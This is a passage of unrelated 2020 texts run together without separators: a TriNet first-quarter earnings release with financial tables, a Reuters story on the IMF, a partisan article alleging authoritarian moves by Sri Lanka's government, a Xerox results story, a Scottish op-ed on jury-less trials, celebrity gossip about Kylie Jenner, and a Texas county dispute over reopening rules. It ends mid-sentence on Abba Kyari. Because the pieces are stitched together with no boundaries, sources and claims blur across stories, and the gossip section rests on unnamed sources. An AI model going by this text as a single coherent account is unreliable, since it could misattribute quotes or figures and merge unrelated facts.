industries; the impact of failures or limitations in the business systems we rely upon; adverse changes in our insurance coverage or our relationships with key insurance carriers; our ability to manage our client attrition; our ability to improve our technology to satisfy regulatory requirements and meet the expectations of our clients; our ability to effectively integrate businesses we have acquired or may acquire in the future; our ability to effectively manage and improve our operational processes; our ability to attract and retain qualified personnel; the effects of increased competition and our ability to compete effectively; the impact on our business of cyber-attacks and security breaches; our ability to secure our information technology infrastructure and our confidential, sensitive and personal information from cyber-attacks and security breaches; our ability to comply with constantly evolving data privacy and security laws; our ability to manage changes in, uncertainty regarding, or adverse application of the complex laws and regulations that govern our business; changing laws and regulations governing health insurance and employee benefits; our ability to be recognized as an employer of worksite employees under federal and state regulations; changes in the laws and regulations that govern what it means to be an employer, employee or independent contractor; our ability to comply with the laws and regulations that govern PEOs and other similar industries; the outcome of existing and future legal and tax proceedings; fluctuation in our results of operation and stock price due to factors outside of our control, such as the volume and severity of our workers' compensation and health insurance claims and the amount and timing of our insurance costs, operating expenses and capital expenditure requirements; our ability to comply with the restrictions of our credit facility and meet our debt obligations; and the impact of concentrated ownership in our stock. Any of these factors could cause our actual results to differ materially from our anticipated results. Further information on risks that could affect TriNet's results is included in our filings with the U.S. Securities and Exchange Commission (SEC), including under the headings "Risk Factors" and "Management's Discussion and Analysis of Financial Condition and Results of Operations" and elsewhere in our most recent Annual Report on Form 10-K and Quarterly Reports on Form 10-Q, which are available on our investor relations website at http://investor.trinet.com and on the SEC website at www.sec.gov . Copies of these filings are also available by contacting TriNet Corporation's Investor Relations Department at (510) 875-7201. Except as required by law, neither we nor any other person assumes responsibility for the accuracy and completeness of the forward-looking statements in this press release, and any forward-looking statements in this press release speak only as of the date of this press release. In addition, we do not assume any obligation, and do not intend, to update any of our forward-looking statements, except as required by law. Key Financial and Operating Metrics We regularly review certain key financial and operating metrics to evaluate growth trends, measure our performance and make strategic decisions. These key financial and operating metrics may change over time. Our key financial and operating metrics for the periods presented were as follows: Three Months Ended March 31, (in millions, except per share and WSE data) 2020 2019 % Change Income Statement Data: Total revenues $ 1,048 $ 934 12 % Operating income 120 82 46 Net income 91 63 44 Diluted net income per share of common stock 1.31 0.89 47 Non-GAAP measures (1): Net Service Revenues 283 251 13 Net Insurance Service Revenues 127 115 10 Adjusted EBITDA 145 108 34 Adjusted Net income 97 69 41 Operating Metrics: Average WSEs 336,348 312,760 8 % Total WSEs at period end 336,846 316,906 6 Total WSEs payroll and payroll taxes processed $ 13,143 $ 11,622 13 (1) Refer to Non-GAAP Financial Measures section below for definitions and reconciliations from GAAP measures. (in millions) March 31, 2020 December 31, 2019 % Change Balance Sheet Data: Working capital 284 228 25 % Total assets 2,765 2,748 1 Debt 620 391 59 Total stockholders' equity 533 475 12 Three Months Ended March 31, (in millions) 2020 2019 % Change Cash Flow Data: Net cash used in operating activities $ (282) $ (142) 99 % Net cash used in investing activities (94) (11) 755 Net cash provided by (used in) financing activities 185 (47) (494) Non-GAAP measures (1): Corporate operating cash flows 119 78 53 (1) Refer to Non-GAAP Financial Measures section in the following pages for definitions and reconciliations from GAAP measures. TRINET GROUP, INC. CONSOLIDATED STATEMENTS OF INCOME (Unaudited) Three Months Ended March 31, (in millions except per share data) 2020 2019 Professional service revenues $ 156 $ 136 Insurance service revenues 892 798 Total revenues 1,048 934 Insurance costs 765 683 Cost of providing services 64 64 Sales and marketing 46 46 General and administrative 33 36 Systems development and programming 9 12 Depreciation and amortization of intangible assets 11 11 Total costs and operating expenses 928 852 Operating income 120 82 Other income (expense): Interest expense, bank fees and other (4) (5) Interest income 5 6 Income before provision for income taxes 121 83 Income taxes 30 20 Net income $ 91 $ 63 Other comprehensive income, net of income taxes 2 Comprehensive income $ 93 $ 63 Net income per share: Basic $ 1.32 $ 0.91 Diluted $ 1.31 $ 0.89 Weighted average shares: Basic 68 70 Diluted 69 71 TRINET GROUP, INC. CONSOLIDATED BALANCE SHEETS (Unaudited) (In millions) March 31, 2020 December 31, 2019 Assets Current assets: Cash and cash equivalents $ 521 $ 213 Investments 65 68 Restricted cash, cash equivalents and investments 779 1,180 Accounts receivable, net 9 9 Unbilled revenue, net 380 285 Prepaid expenses, net 55 52 Other current assets 83 64 Total current assets 1,892 1,871 Restricted cash, cash equivalents and investments, noncurrent 204 212 Investments, noncurrent 130 125 Property, equipment and software, net 82 85 Operating lease right-of-use asset 52 55 Goodwill 289 289 Other intangible assets, net 14 15 Other assets 102 96 Total assets $ 2,765 $ 2,748 Liabilities and stockholders' equity Current liabilities: Accounts payable and other current liabilities $ 63 $ 31 Revolving credit agreement borrowings 234 Long-term debt 22 22 Client deposits 38 44 Accrued wages 429 391 Accrued health insurance costs, net 165 167 Accrued workers' compensation costs, net 63 61 Payroll tax liabilities and other payroll withholdings 567 901 Operating lease liabilities 16 17 Insurance premiums and other payables 11 9 Total current liabilities 1,608 1,643 Long-term debt, noncurrent 364 369 Accrued workers' compensation costs, noncurrent, net 145 144 Deferred taxes 62 61 Operating lease liabilities, noncurrent 45 48 Other non-current liabilities 8 8 Total liabilities 2,232 2,273 Stockholders' equity: Preferred stock Common stock and additional paid-in capital 703 694 Accumulated deficit (172) (219) Accumulated other comprehensive income 2 Total stockholders' equity 533 475 Total liabilities and stockholders' equity $ 2,765 $ 2,748 TRINET GROUP, INC. CONSOLIDATED STATEMENTS OF CASH FLOWS (Unaudited) Three Months Ended March 31, (in millions) 2020 2019 Operating activities Net income 91 63 Adjustments to reconcile net income to net cash provided by operating activities: Depreciation and amortization 15 18 Noncash lease expense 4 Stock based compensation 9 9 Changes in operating assets and liabilities: Accounts receivable, net 1 Unbilled revenue, net (95) (9) Prepaid expenses, net (3) (12) Accounts payable and other current liabilities 29 9 Client deposits (6) (19) Accrued wages 38 17 Accrued health insurance costs, net (2) Accrued workers' compensation costs, net 3 (2) Payroll taxes payable and other payroll withholdings (334) (180) Operating lease liabilities (5) (4) Other assets (28) (30) Other liabilities 2 (3) Net cash used in operating activities (282) (142) Investing activities Purchases of marketable securities (155) (30) Proceeds from sales and maturities of marketable securities 67 31 Acquisitions of property and equipment (6) (12) Net cash used in investing activities (94) (11) Financing activities Repurchase of common stock (40) (38) Proceeds from issuance of common stock 1 Awards effectively repurchased for required employee withholding taxes (3) (4) Proceeds from revolving credit agreement borrowings 234 Repayment of debt (6) (6) Net cash provided by (used in) financing activities 185 (47) Net decrease in cash and cash equivalents, unrestricted and restricted (191) (200) Cash and cash equivalents, unrestricted and restricted: Beginning of period 1,456 1,349 End of period 1,265 1,149 Supplemental disclosures of cash flow information Interest paid 3 4 Income taxes paid, net 1 1 Supplemental schedule of noncash investing and financing activities Payable for purchase of property and equipment 1 5 Non-GAAP Financial Measures In addition to the selected financial measures presented in accordance with U.S. Generally Accepted Accounting Principles (GAAP), we monitor other non-GAAP financial measures that we use to manage our business, to make planning decisions, to allocate resources and to use as performance measures in our executive compensation plan. These key financial measures provide an additional view of our operational performance over the long term and provide information that we use to maintain and grow our business. The presentation of these non-GAAP financial measures is used to enhance the understanding of certain aspects of our financial performance. It is not meant to be considered in isolation, superior to, or as a substitute for the directly comparable financial measures prepared in accordance with GAAP. Non-GAAP Measure Definition How We Use The Measure Net Service Revenues Sum of professional service revenues and Net Insurance Service Revenues, or total revenues less insurance costs. Provides a comparable basis of revenues on a net basis. Professional service revenues are represented net of client payroll costs whereas insurance service revenues are presented gross of insurance costs for financial reporting purposes. Acts as the basis to allocate resources to different functions and evaluates the effectiveness of our business strategies by each business function. Provides a measure, among others, used in the determination of incentive compensation for management. Net Insurance Service Revenues Insurance revenues less insurance costs. Is a component of Net Service Revenues. Provides a comparable basis of revenues on a net basis. Professional service revenues are presented net of client payroll costs whereas insurance service revenues are presented gross of insurance costs for financial reporting purposes. Promotes an understanding of our insurance services business by evaluating insurance service revenues net of our WSE related costs which are substantially pass-through for the benefit of our WSEs. Under GAAP, insurance service revenues and costs are recorded gross as we have latitude in establishing the price, service and supplier specifications. We also sometimes refer to Net Insurance Margin (NIM), which is the ratio of Net Insurance Revenue to Insurance Service Revenue. Adjusted EBITDA Net income, excluding the effects of: - income tax provision, - interest expense, - depreciation, - amortization of intangible assets, and - stock-based compensation expense. Provides period-to-period comparisons on a consistent basis and an understanding as to how our management evaluates the effectiveness of our business strategies by excluding certain non-cash charges such as depreciation and amortization, and stock-based compensation recognized based on the estimated fair values. We believe these charges are either not directly resulting from our core operations or not indicative of our ongoing operations. Enhances comparisons to prior periods and, accordingly, facilitates the development of future projections and earnings growth prospects. Provides a measure, among others, used in the determination of incentive compensation for management. We also sometimes refer to Adjusted EBITDA margin, which is the ratio of Adjusted EBITDA to Net Service Revenue. Adjusted Net Income Net income, excluding the effects of: - effective income tax rate(1), - stock-based compensation, - amortization of intangible assets, - non-cash interest expense(2), - the income tax effect (at our effective tax rate(1)) of these pre-tax adjustments. Provides information to our stockholders and board of directors to understand how our management evaluates our business, to monitor and evaluate our operating results, and analyze profitability of our ongoing operations and trends on a consistent basis by excluding certain non-cash charges. Corporate Operating Cash Flows Net cash (used in) provided by operating activities, excluding the effects of: - Assets associated with WSEs (accounts receivable, unbilled revenue, prepaid expenses and other current assets) and - Liabilities associated with WSEs (client deposits, accrued wages, payroll tax liabilities and other payroll withholdings, accrued health benefit costs, accrued workers' compensation costs, insurance premiums and other payables, and other current liabilities). Provides information that our stockholders and management can use to evaluate our cash flows from operations independent of the current assets and liabilities associated with our WSEs. Enhances comparisons to prior periods and, accordingly, used as a liquidity measure to manage liquidity between corporate and WSE related activities, and to help determine and plan our cash flow and capital strategies. (1) Non-GAAP effective tax rate is 25.5% and 26% for the first quarter of 2020 and 2019, respectively, which excludes the income tax impact from stock-based compensation, changes in uncertain tax positions, and nonrecurring benefits or expenses from federal legislative changes. (2) Non-cash interest expense represents amortization and write-off of our debt issuance costs. Reconciliation of GAAP to Non-GAAP Measures The table below presents a reconciliation of total revenues to Net Service Revenues: Three Months Ended March 31, (in millions) 2020 2019 Total revenues $ 1,048 $ 934 Less: Insurance costs 765 683 Net Service Revenues $ 283 $ 251 The table below presents a reconciliation of insurance service revenues to Net Insurance Service Revenues: Three Months Ended March 31, (in millions) 2020 2019 Insurance service revenues $ 892 $ 798 Less: Insurance costs 765 683 Net Insurance Service Revenues $ 127 $ 115 Net Insurance Service Revenue Margin 14 % 14 % The table below presents a reconciliation of net income to Adjusted EBITDA: Three Months Ended March 31, (in millions) 2020 2019 Net income $ 91 $ 63 Provision for income taxes 30 20 Stock based compensation 9 9 Interest expense and bank fees 4 5 Depreciation and amortization of intangible assets 11 11 Adjusted EBITDA $ 145 $ 108 Adjusted EBITDA Margin 51 % 43 % The table below presents a reconciliation of net income to Adjusted Net Income and Adjusted Net Income per share - diluted: Three Months Ended March 31, (in millions, except per share data) 2020 2019 Net income $ 91 $ 63 Effective income tax rate adjustment (1) (1) Stock based compensation 9 9 Amortization of intangible assets 1 1 Income tax impact of pre-tax adjustments (3) (3) Adjusted Net Income $ 97 $ 69 GAAP weighted average shares of common stock - diluted 69 71 Adjusted Net Income per share - diluted $ 1.41 $ 0.98 The table below presents a reconciliation of net cash used in operating activities to Corporate Operating Cash flows: Three Months Ended March 31, (in millions) 2020 2019 Net cash used in operating activities $ (282) $ (142) Change in WSE related other current assets 110 45 Change in WSE related liabilities 291 175 Corporate Operating Cash Flows $ 119 $ 78 SOURCE TriNet Group, Inc. Related Links http://www.trinet.com By Andrea Shalal WASHINGTON (Reuters) - The International Monetary Fund may need to step outside its comfort zone and consider "exceptional measures" to help countries deal with the coronavirus pandemic and mitigate its economic impact, Managing Director Kristalina Georgieva said on Monday. Georgieva, in a blog published on the IMF website, said the fund had already taken extraordinary steps to free up resources, especially for emerging markets and developing economies that have seen an outflow of $100 billion in recent months - the highest on record. But more resources may be needed if market pressures continue to mount, and lending - even on easy terms - is not always the best solution, given already high debt burdens faced by many countries, she said. "The IMF, like our member countries, may need to venture even further outside our comfort zone to consider whether exceptional measures might be needed in this exceptional crisis," she said, suggesting increased collaboration with other international institutions and the private sector. Georgieva gave no details, but her remarks came after a joint IMF-World Bank paper published on Friday said a broader group of countries - beyond the 77 poorest countries that have already been promised a suspension in debt payments on official bilateral loans - may need debt relief. Georgieva also revived her call for a possible allocation of Special Drawing Rights (SDRs), the IMF's official unit of exchange, that would be akin to a central bank "printing" new money. The United States has opposed such a move. The IMF last forecast the global economy would contract by 3% in 2020 due to the pandemic, marking the steepest downturn since the Great Depression of the 1930s. "We stand ready to deploy our full lending capacity and to mobilize all layers of the global financial safety net, including whether the use of SDRs could be more helpful, Georgieva wrote in the blog. Story continues U.S. Treasury Secretary Steven Mnuchin last week rejected an SDR allocation, arguing that 70% of the funds created through that would go to G20 countries, most of which did not need it, while only 3% would go to low-income countries. SDRs are based on dollars, euro, yen, sterling and yuan. Member countries hold them at the fund in proportion to their shareholdings. Reuters last week reported that the United States, the IMF's dominant shareholder, is blocking an allocation because it would give new avenues of funding for Iran and China. Mnuchin urged advanced economies to contribute instead to two IMF facilities that provide funds to the poorest countries, and said the U.S. government was exploring such a contribution. A Treasury official said a U.S. contribution to one or both of the funds would require congressional approval, and potentially new funds. No further details were immediately available. In her blog, Georgieva lauded the generosity of Britain, Japan, Germany, the Netherlands, Singapore and China in boosting the resources available in the Catastrophe Containment and Relief Trust, which helps the IMF's poorest members by providing grants to cover their debt service payments to the IMF. She also recognized Japan, France, Britain, Canada and Australia for pledges to expand the IMF's Poverty Reduction and Growth Trust to $11.7 billion, taking the fund to about 70% of its $17 billion goal. (Reporting by Andrea Shalal; editing by Jonathan Oatis and Richard Chang) Amid a profound economic and political crisis, Sri Lankas minority government has taken a series of sinister, authoritarian steps in conjunction with the military that indicate a coup detat could be in preparation. At the very least, the government is using the COVID-19 pandemic as the pretext to mount a power grab, insert the military even more fully into the running of the state, and run roughshod over working peoples democratic rightsall in flagrant violation of democratic-constitutional norms. In so doing, President Gotabhaya Rajapakse and his prime minister and brother, the former President Mahinda Rajapakse, are not simply accruing more power at the expense of their bourgeois opponents. Their real and principal target is the working class. Even prior to the pandemic and consequent global economic collapse, Sri Lankas economy was in profound crisis. During the last two years of the previous United National Party (UNP)-led government, which President Gotabhaya Rajapakse promptly sacked after winning last Novembers election, there was a powerful wave of protests and strikes against its brutal International Monetary Fund-imposed austerity measures. Early Monday morning, the Rajapakse government had been slated to lift a weeks-long anti-coronavirus shutdown in most of the country. Instead, with virtually no warning, it ordered an even more draconian 24-hour all-island curfew till 5 a.m. Tuesday. The reason given was that it would facilitate the return to their respective camps of military personnel who had been on leave. Prior to the curfew announcement, the defence secretary, retired Major General Kamal Gunaratne, had issued a notice cancelling leave for members of all three armed forces and ordered all troops to report to their respective officers in charge. Imposing a 24-hour all-island curfew to facilitate military deployments is without precedent in Sri Lanka. Not even during the Sri Lankan states almost three-decade civil war against the Tamil minority was such a step taken. Also in apparent contradiction with Gunaratnes original order, it soon emerged that rather than returning to their normal camps, many of the soldiers are to be deployed to the national capital, Colombo. There they are to be housed in schools, including five of the citys larger ones. No official explanation has yet been given for the deployment. However, in an interview early last week, President Gotabhaya Rajapakse spoke about deploying the military in Colombo as part of what he called the wartime measures needed to fight the coronavirus pandemic, which thus far has officially claimed seven lives in Sri Lanka amid almost 600 confirmed COVID-19 cases. In another unusual move, the military has taken over the external security of the parliament, according to defence spokesman Brigadier Chandana Wickremesinghe. Parliament administration has said that 120 policemen were removed from the security detail and replaced with troops, purportedly because the police were needed to help with enforcing the anti-coronavirus lockdown, which is to remain in force in Colombo until May 4. Rajapakse won the election last November by making a calibrated and demagogic appeal to mass opposition to the UNP-led governments austerity, on the one hand, and, on the other, by rallying support from big business by casting himself as a Sinhalese-Buddhist strongman who could force through unpopular measures. A former colonel, Rajapakse has cultivated close ties to the military and a reputation for ruthlessness. He served as his brothers defence secretary in the final stages of the civil war, which ended in 2009 in the state-ordered military slaughter of tens of thousands of Tamil civilians. Moreover, during this period, under draconian Emergency Regulations and the Prevention of Terrorism law, the countrys security forces unleashed state repression across the island against workers, political opponent and journalists. Within days of winning the presidency, Gotabhaya Rajapakse shunted aside the UNP government and installed his brother as prime minister. He then kept parliament largely in abeyance, because the new government lacked a parliamentary majority, until March 2, when he gained the constitutional right to call an early election. His stated aim is to secure a two-thirds majority in parliament in a snap poll, held before the government is compelled to impose a new and even more draconian round of austerity measures. He wants to push through constitutional changes giving himself, as executive president, sweeping, arbitrary powers. Rajapakses anti-democratic machinations have become even more pronounced with the outbreak of the pandemic. With the support of the military and the caretaker government headed by his brother, Prime Minister Mahinda Rajapakse, he has used presidential decrees to arrogate exceptional power, even as the elections have been postponed, initially indefinitely and now tentatively to June 20. Since March 20, the Western Province, Puttalam in the north-west and the Jaffna district in the war-ravaged north have been under lockdown, or, in Sri Lankan parlance, curfew. In other areas, the lockdown/curfew has been relaxed intermittently. The lockdown is patently illegal. To conform with Sri Lankan law, it would have to be publicised by a gazette notification or declared under emergency laws. If it was implemented though gazette notification, this would have to be presented to parliament. Similarly, a declaration of emergency must be approved by parliament. But Rajapakse, exploiting the pandemic to seize new powers, has simply ignored the law, and curtly dismissed opposition appeals for the dissolved parliament to be recalled. Police have arrested some 40,000 persons for failing to respect the illegally-imposed lockdown and confiscated more than 10,000 vehicles belonging to them. None of the opposition parties or media has challenged these actions. After his election, Rajapakse filled many key posts with senior military officers. Following the outbreak of the coronavirus pandemic, he has further militarised the administration. Army Commander Lt. General Shavendra Silva has been appointed to head the National Centre for Prevention of COVID-19. Retired Air Marshal Roshan Gunatilake has been appointed governor of the Western Province. While imposing repressive new powers over the population in the name of fighting the highly contagious and potentially lethal coronavirus, the Rajapakse government has shown callous disregard for the health and well-being of Sri Lankas workers and toilers. During the past two months, no mass testing has been conducted, as repeatedly urged for all countries by the World Health Organisation (WHO). Health workers lack proper protective equipment, and while the government found billions of rupees to help bail out big business, no significant funds have been allocated to modernise and strengthen the dilapidated health service. The lockdown was imposed hastily and without plans to ensure that workers and the rural poor would be provided food and other essentials, including medicine. Hundreds of thousands of daily wage workers have lost their jobs and now find themselves without any means of support. Behind Rajapkases turn to authoritarian methods of rule lies fear of, and preparation for, a headlong conflict with the working class. The global economic crisis triggered by the pandemic has cut off the Sri Lankan ruling elites main foreign exchange earnersthe tourism and garment industrieswhile leading to a plummet in remittances from overseas migrant workers. Desperate to impose the burden of the economic crisis on the working class, the Rajapakse government, like its counterparts in India, the US and Europe, has moved aggressively to reopen the economy. Fourteen Free Trade Zones (FTZs) have already been reopened. At the same time, Rajapakse has sanctioned big business calls for job, wage and pension cuts, saying, the head of each [private] organisation has the freedom to decide who should report to work and the number of employees. Workers must beware. Rajapakse has talked of deploying troops to Colombo to impose wartime-like measures. I have instructed the defence secretary, he boasted last week, to ensure that the situation remains under control, as it was during the war, and ensure that people act in a disciplined manner. While today that may take the form of their imposing a lockdown that inordinately punishes the poor, on the morrow their deployment may serve to enforce a back-to-work under dramatically inferior conditions for working people. Yesterday, many of the opposition parties appealed to President Rajapakse to reconvene parliament to defuse the political-constitutional crisis provoked by his illegal actions. They pledged to forego any attempt to unseat the minority government and offered to provide it responsible cooperation. Those making this appeal included the UNP, its breakaway group Samagi Jana Balavegaya, the Sri Lanka Freedom Party, the Tamil National Alliance, the Sri Lanka Muslim Congress and the parties of the plantation trade unions. The Janatha Vimukthi Peramuna (JVP) did not join in this appeal, but it has twice participated, along with the above parties, in all-party meetings and has praised the governments actions to prevent [the] coronavirus pandemic, thereby strengthening Rajapakse and his anti-democratic actions. These parties have only minor tactical differences with the Rajapakses rule. While they may on occasion prattle about democratic rights, they are all steeped in chauvinism, are complicit in the imposition of IMF austerity, and most are outspoken advocates of bringing Sri Lanka four-square behind US imperialisms anti-China war drive. The developments in Sri Lanka must serve as a sharp warning to workers, not only on the island, but all over the world. Under the cover of necessary measures to fight the COVID-19 pandemic, the capitalist ruling elites are attacking democratic rights, seizing draconian powers and militarising society. Workers in Sri Lanka must intervene independently in this crisis, in opposition to all the rival bourgeois factions, so as to defend their lives and livelihoods and secure their basic social and democratic rights. Action committees must be built in every workplace to mobilise the political and industrial strength of the working class and rally the rural poor against capitalist reaction, and to prosecute the struggle for a workers and peasants government committed to socialist policies and the fight for international socialism. Xerox Holdings Corp., which last month dropped a hostile takeover bid for larger rival HP Inc., withdrew its annual revenue forecast, signaling uncertainty over how high a toll the economic slowdown from the Covid-19 pandemic will take on the copy-machine maker. Revenue reached $1.9 billion over the first quarter, a 14% drop from a year earlier, the Norwalk, Connecticut-based company said Tuesday in a statement. Pretax losses came in at $5 million. Xerox said in January it expected to generate adjusted profit of as much as $3.70 a share on revenue of $8.63 billion in fiscal 2020. Xerox is reporting results for the first time since calling off its effort to acquire HP because of the economic uncertainty caused by the virus. Now Chief Executive Officer John Visentin must shepherd the pioneer in photocopying technology through the downturn in the face of falling demand for printed documents and eight years of declining sales. Businesses, preserving cash to weather a possible recession, are also postponing information technology projects, representing a threat to Xerox. Xeroxs shares remained flat in early trading after closing Monday at $17.82 in New York. The stock has plunged 52% this year. The hardware company warned that, because of the lock down measures countries are implementing, the hit on its business could persist. Xerox expects the greatest impact to its revenues from business closures to be during the second quarter, with revenue returning to expected levels nearer the end of the year. Xerox generated $325 million in equipment sales of hardware in the first quarter, a decrease of 27% from a year earlier. The company recognized $1.5 billion in post-sale revenue during the period, which includes ink supplies, maintenance and other managed services. Jury-less trials are an opportunity to put victims at the centre of Scotlands justice system Scotland looks set to miss a golden opportunity to get things right for victims of crime during these uncertain times. The lack of support for proposals to allow trials for serious cases to go ahead jury-free as an emergency measure to get us through the pandemic, will create a major backlog of an estimated 1,600 cases. It will take our courts years to process these cases once it is safe for them to reopen. The emotional turmoil and uncertainty that this will inflict on some of the countrys most vulnerable victims and their families cannot go unheard. The effects of coronavirus may only last a few months, but the impact will be felt for years to come. Earlier this week, Victim Support Scotland, along with three of the largest victim-centred organisations in Scotland (Rape Crisis Scotland, Scottish Womens Aid and ASSIST), felt compelled to write a joint open letter to MSPs warning of the severity of the backlog and the inevitable human cost. Many of those arguing against the emergency measures seem to have failed to understand that jury free trials are already being used in Scotland. Domestic abuse cases are mostly dealt with through summary proceedings that do not require juries. Far from eroding a 600-year-old cornerstone of the Scottish legal system, this has allowed thousands of serious cases to be heard in Scotland without a jury present. There is also a precedent for the use of judge-only trials in serious cases in emergency situations with the establishment of Diplock courts in Northern Ireland for political and terrorism-related cases during the height of the Troubles. The Criminal Justice Act 2003, applicable throughout the UK, also allows jury-less trials in complex fraud cases and where there is a risk of jury tampering. Part of the rationale for retaining juries is the right to be judged by your peers, but this is unlikely to happen properly in the current circumstances. Many people will not be able to participate in jury services, particularly single parents and women with caring responsibilities and those who are shielding. Without the inclusion of these people, juries cannot be truly representative of our society. As part of a roundtable discussions with the Cabinet Secretary for Justice, Humza Yousaf, we discussed a variety of options for emergency legislation to be brought forward by the Scottish Government while courts are observing lockdown measures. One proposal being put forward is the use of smaller juries, as was the case during World War II. While this may seem reasonable, when you look closer, this is just another ill-advised attempt to invoke Blitz Spirit. Reducing the size of juries risks increases the chances that a mistrial will have to be declared if a juror falls ill a very real possibility given how quickly coronavirus spreads. Any move that increases the potential for a mistrial to occur will have a devastating impact on the mental health and wellbeing on people affected by crime. Victims of serious sexual assault and rape, for example, already face considerable re-traumatisation from having to give evidence, with one survivor saying this of their experience: I was not prepared it was the most degrading and terrifying thing. It is unacceptable to knowingly put survivors of sexual violence in the position where they may possibly have to give evidence more than once due to a mistrial, which for many is worse than no trial taking place at all. Once lockdown measures are able to be eased, there is a real concern that discounted sentences will be used as a method of reducing the strain on court time once more. From victims perspectives they want to have confidence in the criminal justice system. This includes being able to have faith that the impact of what they have experienced will be reflected in the decision of a judge and the jury, not that they will be set aside to save court resources. Coronavirus will be temporary, but the extensive delays it is already causing to the criminal justice system will have a devastating and repeated impact to the lives of victims, witnesses, and their families for years to come. When these proposals are put to MSPs again, it will be a chance to put victims, witnesses, and their families at the centre of Scotlands justice system and remedy an already difficult situation. Kate Wallace is chief executive of Victim Support Scotland Kylie Jenner is stuck at home, just like the rest of us these days, due to the coronavirus pandemic also known as the COVID-19. Because of that, the mother-of-one isn't bothering with her usual glam makeup routine, which isn't surprising at all. A bunch of pictures of the Kylie Cosmetics mogul in quarantine emerged where she looked extremely dressed down in sweatpants and makeup-free. She was shoeless, her hair was in a messy bun, clutching a bag of Lays to her chest. She wasn't looking very Kylie Jenner. When the picture went viral, the internet had a field day comparing her in-real-life pictures to the photos she posts on her Instagram. A couple of days later, Cosmopolitan reported that a new set of Kylie Jenner's makeup-free paparazzi photos had appeared online, however, this time, these look a lot more "perfect" than last week's. It seems like the youngest of the Kardashian-Jenner sisters wasn't pleased about getting caught so casual and a bit rough in last week's photos so this week. With this being said, fans are convinced that the cosmetics and skincare CEO staged these photos. Kylie Jenner has decided to retrieve her usual highly glam makeup look, and by the looks of it, she may have even called in the paparazzi to remind everyone how flawless she looks. The reality star was dressed in a white cropped top, baggy jeans, sneakers, styled volumized hair, and heavy makeup, seemingly the type of look we are used to seeing from her. People on Twitter roasted Kylie, and they all had a field day because of this. "The way Kylie cares about how she looks for the paparazzi during a mf pandemic... I have no words," one person tweeted. "Kylie Jenner's unedited paparazzi pics breaking the internet and Kylie responding with hiring a personal photographer to post 'pap' pics but made him edit them is the most hilarious thing ever," another one said. But not everybody is roasting her. Some came to Kylie's defense saying, "ofc Kylie Jenner staged her candid photos this time because y'all bullied her into it after the pictures of her without makeup went viral. Just because she's a celebrity doesn't mean she's always 'picture ready.'" One possible reason that Kylie Jenner staged those pictures is because the entire Kardashian brand is so curated. A Sydney Morning Herald article also reported that Kylie's sister Kim Kardashian made a deal with the paparazzi. 20-year-old Jayden Seyfarth claims that Kardashian tips Slash photographer off to her whereabouts and, in return, gets a percentage of what they make on sales of her image. According to Seyfarth, Kim selects the pictures, and then they photoshop those pictures. Aside from that, when Kylie was in Italy vacationing with Travis Scott and their child, Cosmopolitan also reported that she might have already tipped the paparazzi every step of the way. The reality star was clearly posing for pictures in the paparazzi shots, especially in one photo where she sits with her toe pointed up while no one was watching. READ MORE: Khloe Kardashian 'Bad Mom': How Can She Do THIS To Baby True? Gov. Greg Abbott responded to Montgomery County Judge Mark Keough late Tuesday and acknowledged his order to reopen Texas businesses on Friday needed clarification after Keough called the plan vague and said it didnt mandate businesses such as hair and nail salons, bars and gyms remain closed. I actually went back and looked at the order and I can understand why hes saying that it needs clarification. And so we will provide that clarification, Abbott said in a Fox 26 interview regarding Keoughs comments. Keough said he appreciated the governors attention in the matter but said he is standing his ground that his interpretation of Abbotts order only says those businesses shall be avoided, which, he said, does not mean the businesses cant open. He added if and when Abbott clarifies the order in writing, he will abide by its guidelines. During the commissioners court regular meeting Tuesday morning, Keough said the county has done all it can to follow guidelines from Abbott. However, he said the opening of some businesses over others doesnt make sense. After reading Abbotts order, Keough said it does not close or keep closed any businesses. Uncommonly vague He doesnt close those, Keough said of businesses such as hair salons, barbershops, gyms and nail salons. It says you should avoid these businesses. It is uncommonly vague what he has said and there is a measure of confusion. I am not trying to push against the governor, I am just trying to free the people who have been chosen to be the losers. The object here is not to go rogue on the state of Texas or the governor. The object is we have until Friday to get clarification on this. As far as we are concerned, he has not declared these (businesses) closed. The 30-minute discussion during the courts regular meeting Tuesday, launched by Precinct 3 Commissioner James Noack, began with Noack explaining the goal of the stay-at-home order put in place by the county last month was to flatten the curve of the COVID-19 virus, not flatten the economy. As of Monday, Montgomery County health officials have confirmed 530 cases and 10 deaths. Those numbers, Noack said, are trending below what was predicted. I think the people in Montgomery County want to get back to work, Noack said. I think it is absurd you cant go get a haircut. You can go to a movie theater, but you cant get your hair cut. You can sit in a dentist chair, but you cant get your haircut. These things are so frustrating, and our people are tired of it. Small business impact Meador said these small businesses have struggled to survive. They are having to pay rent. To me, a small business such as a hair salon or nail place has the ability to clean two or three times a day and I think they will. They can determine who comes in their shop and who doesnt. Its got to be a whole lot cleaner than Kroger. Keough said Abbotts plan spans more than a month as it ramps up occupancy. Beginning Friday, businesses can reopen but are limited to 25 percent occupancy. On May 18, that goes to 50 percent occupancy. Its another month or two months if we go at that pace, he said. We cant afford to do that. County Attorney B.D. Griffin agrees the governors order is unclear and said the court should be cautious of enforcing a vague order. We have issues from our offices standpoint that we are creating potential liability in enforcing a vague, ambiguous order, Griffin said. There are issues in enforcing portions of the governors order. We do see a litigation risk. Griffin added the Montgomery County District Attorneys Office is also challenged on guiding law enforcement on what they can and cannot enforce. Its no doubt our law enforcement has better things to do than go into an establishment and counting how many men and women are in a restaurant or getting their hair cut. Enforcement issues Sheriff Rand Henderson spoke to commissioners reiterating enforcement issues. Our plan during this was notice and compliance, Henderson said. We have put some people in jail for curfew, but it was ancillary to other crimes they committed. We arent going to go in and make a mass arrest at a barbershop, but for public health purposes, I would discourage it. We are still dealing with this crisis and we dont want to make it worse by inviting people to go violate the order because its not enforceable. I certainly dont want to fill the jail with people getting haircuts. Henderson said he has stayed in communication with the District Attorneys Office, adding they are in lock step on the issues of enforcement. First Assistant District Attorney Mike Holley said his office will enforce on a common sense discretion. We are about compliance and doing the right thing, Holley said. Winners and losers Several commissioners asked if the court needed to take action on opening those businesses. Griffin advised against that and against the court making an official statement. However, Keough released a video statement after the courts meeting questioning Abbotts order. Who is the governor choosing as a winner or loser in their opening, Keough said, adding Abbott selected businesses, like dentists, that are more invasive to open but not a hair salon. I have a problem with that as your county judge and I am doing everything I can to move this county forward and we as a court are doing everything we can then we get hit with what I call picking winners and losers. Keough said he will not keep businesses closed. With that in mind, you can be open, Keough said, indicating Abbott could clarify the issue. All he has to say is yes or no, but dont pick one business over another. We have to get Montgomery County rolling again. cdominguez@hcnonline.com Aisha, the daughter of Late Abba Kyari has lambasted those who accused her father of being responsible for the problem of Nigeria. The late Chief of Staff to President Buhari died a few days ago after 